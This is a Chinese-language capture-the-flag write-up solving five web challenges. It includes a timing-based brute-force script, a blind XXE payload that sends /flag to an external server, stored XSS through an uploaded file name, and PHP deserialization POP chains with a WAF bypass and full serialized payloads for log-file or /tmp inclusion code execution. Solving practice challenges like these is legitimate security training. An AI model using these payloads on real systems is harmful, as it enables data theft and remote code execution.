写点有意思的题目吧

ez_time

这题的重点代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$flag = file_get_contents("/flag");

// 这是一个可爱的加密函数~
function encrypt($string){
$string = substr($string,0,time()%20);
return sha1($string);
}

// 这是一个可爱的校验函数~
function compare($encryptedString, $string){
if (encrypt($string) === $encryptedString){
return true;// 你过关!
}
return false;// 再接再厉~
}

$guessMyFlag = $_POST['guessMyFlag'];

if (compare(encrypt($guessMyFlag),$flag)){
echo "你过关!<br>";
}



我们可以看到其将时间戳余20当成长度。来分割flag和我们传入的字符串进行比较。那么就可以写脚本爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

from time import sleep, time
import requests
import concurrent.futures

all_chars = ''.join([chr(i) for i in range(32, 127)])
x = ""

url = "http://challenge.fctf.rois.team:25014/"

def try_char(c, prefix):
flag = prefix + c
try:
r = requests.post(url, data={'guessMyFlag': flag}, timeout=3)
if "你过关!" in r.text:
print(f"[+] 命中:{flag}")
return c
except Exception as e:
print(f"[-] 请求失败:{e}")
return None

while True:
target_len = len(x) + 1
# 等待到 time()%20 == target_len
while int(time() % 20) != target_len+1:
sleep(0.01)
print(f"[*] 正在爆破第 {target_len} 个字符... 当前前缀:{x}")
found = False

with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
futures = {executor.submit(try_char, c, x): c for c in all_chars}
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result is not None:
x += result
found = True
break # 停止其他线程

if not found:
print(f"[-] 没有在 time()%20 == {target_len} 时匹配成功,等待下次...")
else:
print(f"[√] 当前 flag 前缀:{x}")


其在爆破前会先队当前时间戳mod20来与x的长度加1进行比较确保每次爆破都是多加一个字符

看不到啊啊啊啊

无回显的xxe,其会解析上传的xml

1
2
3
4
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://1.94.xxx.xxx:8000?p=%file;'>">


1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://1.94.xxx.xxx:8000/test.dtd">
%remote;%int;%send;
]>

Wells求职记

考xss,写这题时要先了解一些{{{}}}的意思,这个意思就是在模板传入时不进行html实体化编码,这时候就会产生xss


我们可以看到有两处地方使用了{{{}}}但是我们看代码

user.resume经过renderResume处理了一下

我们可以看到其返回值是经过purify.sanitize处理后的data然后拼接上<iframe src="/resumeFile/' +req.user.username + '" style="width: 100%;height: 500px;"></iframe>>

然后因为用户名又无法出现特殊字符所有xss点应该是另一个。看一下

user.resumeFile我们可以看到其并没做什么处理

也就是我们可以在文件名动手打xss。但是这个无法使用/所以我们使用<img src=x onerror=alert(123)>

这个页面可以在/resumeFile/xxx访问到。

虽然我们只能让bot访问resume但是我们前面分析了resume是会加上<iframe>导入resumeFile的所以直接访问resume/xxx就会xss

baby_pop

看代码其echo了obj的内容
那么我们触发tostring

那么链头应该是ROIS

我们看一下PowerfulCall的__call其会调用到任意类的任意方法参数也可控
preloadInclude的preload会读取文件夹文件名然后每个都包含
那么链子就很明确了

1
ROIS{__toString}->PowerfulCall{__call}->preloadInclude{preload}

看一下waf可以发现其
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class Waf
{
public $blacklists = ["eval",":\/\/","\.\.\/"];

public function checkIsSafe($str)
{

foreach ($this->blacklists as $blacklist){
$pattern = "/".$blacklist."/i";
if (preg_match($pattern,$str)){
file_put_contents("logs/".date('Y-m-d').".logs",$blacklist." is not allowed to be unserialized!\n",FILE_APPEND);
return false;
}
}

return true;
}
}

检测eval和../和//检测到就写到logs里。
而这题需要命令执行
所以我们要找一个可以可控写文件的地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class Utils
{

public static function ser($obj)
{
return serialize($obj);
}

public static function unser($str)
{

$obj = unserialize($str);
if (!$obj){
$e = "Failed to unserialize string: ".$str." ".date('Y-m-d H:i:s')."\n";
file_put_contents("logs/".date('Y-m-d').".logs",$e,FILE_APPEND);
throw new Exception($e);
}
return $obj;
}


}

Utils里的unser方法会将反序列化失败的写logs文件夹里
那么我们可以在logs里写给马然后反序列化,最后的文件夹为logs,这样就可以命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

$pre = new preloadInclude();
$pre->preload("./");


class PowerfulCall
{
private $method;
private $args;

public function __construct($a,$b)
{
$this->method=$b;
$this->args=$a;
}
public function __call($method,$arg)
{
$classname = $this->args[0];
$methodname = $this->method;
$o = new $classname();
return $o->$methodname($this->args[1]);
}
}

class preloadInclude
{
public function preload($path)
{

$files = scandir($path);
foreach ($files as $file){
$filepath = "./".$path."/".$file;
if (is_file($filepath) && basename($filepath) !== "index.php")
include $filepath;
}
}
}

$a=new ROIS();
$a->members=array(new PowerfulCall(array("preloadInclude","logs"),"preload"));
$b=urlencode(serialize($a));
echo $b;
utils::unser(urldecode($b));

cute_pop

这题和上一题很像,至少waf多了个preload写入logs里多了个htmlspecialchars

waf好绕可以直接使用大写S+16进制来绕
而这个命令执行我们没法写道log里了,但是可以使用/tmp下的临时文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

$pre = new preloadInclude();
$pre->preload("./");


class PowerfulCall
{
private $method;
private $args;

public function __construct($a,$b)
{
$this->method=$b;
$this->args=$a;
}
public function __call($method,$arg)
{
$classname = $this->args[0];
$methodname = $this->method;
$o = new $classname();
return $o->$methodname($this->args[1]);
}
}

class preloadInclude
{
public function preload($path)
{

$files = scandir($path);
foreach ($files as $file){
$filepath = "./".$path."/".$file;
if (is_file($filepath) && basename($filepath) !== "index.php")
include $filepath;
}
}
}

$a=new ROIS();
$a->members=array(new PowerfulCall(array("preloadInclude","../../../../../tmp"),"preload"));
$b=urlencode(serialize($a));
echo $b;
$b='O%3A4%3A%22ROIS%22%3A1%3A%7Bs%3A7%3A%22members%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22PowerfulCall%22%3A2%3A%7Bs%3A20%3A%22%00PowerfulCall%00method%22%3BS%3A7%3A%22\70reload%22%3Bs%3A18%3A%22%00PowerfulCall%00args%22%3Ba%3A2%3A%7Bi%3A0%3BS%3A14%3A%22\70reloadInclude%22%3Bi%3A1%3BS%3A18%3A%22..\2F..\2F..\2F..\2F..\2F..\2F%22%3B%7D%7D%7D%7D';
utils::unser(urldecode($b));

1
O%3A4%3A%22ROIS%22%3A1%3A%7Bs%3A7%3A%22members%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22PowerfulCall%22%3A2%3A%7Bs%3A20%3A%22%00PowerfulCall%00method%22%3BS%3A7%3A%22\70reload%22%3Bs%3A18%3A%22%00PowerfulCall%00args%22%3Ba%3A2%3A%7Bi%3A0%3BS%3A14%3A%22\70reloadInclude%22%3Bi%3A1%3BS%3A18%3A%22..\2F..\2F..\2F..\2F..\2F..\2F%22%3B%7D%7D%7D%7D

payload如上

条件竞争起来